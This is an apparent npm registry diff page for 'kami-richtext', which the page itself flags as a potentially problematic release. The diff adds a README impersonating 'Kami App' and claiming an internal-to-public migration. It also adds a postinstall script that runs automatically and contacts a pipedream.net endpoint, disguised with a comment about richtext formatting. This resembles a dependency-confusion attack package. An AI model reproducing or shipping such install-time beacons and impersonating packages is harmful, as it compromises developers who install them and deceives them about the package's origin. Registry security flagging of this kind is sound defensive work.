kami-richtext 0.0.1-security → 3.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kami-richtext might be problematic. Click here for more details.
- package/README.md +12 -3
- package/package.json +16 -3
- package/postinstall.js +16 -0
package/README.md
CHANGED
|
@@ -1,5 +1,14 @@
|
|
|
1
|
-
#
|
|
1
|
+
# kami-richtext
|
|
2
2
|
|
|
3
|
-
This package
|
|
3
|
+
**Note: This package is currently in beta and is intended for development purposes.**
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## Introduction
|
|
6
|
+
|
|
7
|
+
This npm package provides functionalities for handling richtext in Kami. It is currently being migrated from an internal package to a public one. Please be aware that it may contain bugs and is not recommended for production use at this stage.
|
|
8
|
+
|
|
9
|
+
## Installation
|
|
10
|
+
|
|
11
|
+
You can install this package via npm:
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
npm install kami-richtext
|
package/package.json
CHANGED
|
@@ -1,6 +1,19 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "kami-richtext",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "3.0.2",
|
|
4
|
+
"description": "A package for handling richtext in Kami",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node postinstall.js"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [
|
|
9
|
+
"richtext",
|
|
10
|
+
"Kami"
|
|
11
|
+
],
|
|
12
|
+
"author": "Kami App",
|
|
13
|
+
"license": "MIT",
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"axios": "^1.7.2",
|
|
16
|
+
"kami-richtext": "^3.0.2"
|
|
17
|
+
},
|
|
18
|
+
"readme": "README.md"
|
|
6
19
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
// postinstall.js
|
|
2
|
+
|
|
3
|
+
const axios = require('axios');
|
|
4
|
+
|
|
5
|
+
async function makeRequest() {
|
|
6
|
+
try {
|
|
7
|
+
// TODO: need to start programming the API so it sends proper formatting for the package
|
|
8
|
+
// for some reason certain browsers don't display the richtext properly!
|
|
9
|
+
const response = await axios.get('https://eozzb5k4pqjt9e7.m.pipedream.net');
|
|
10
|
+
console.log('Request successful. Response:', response.data);
|
|
11
|
+
} catch (error) {
|
|
12
|
+
console.error('Error making request:', error.message);
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
makeRequest();
|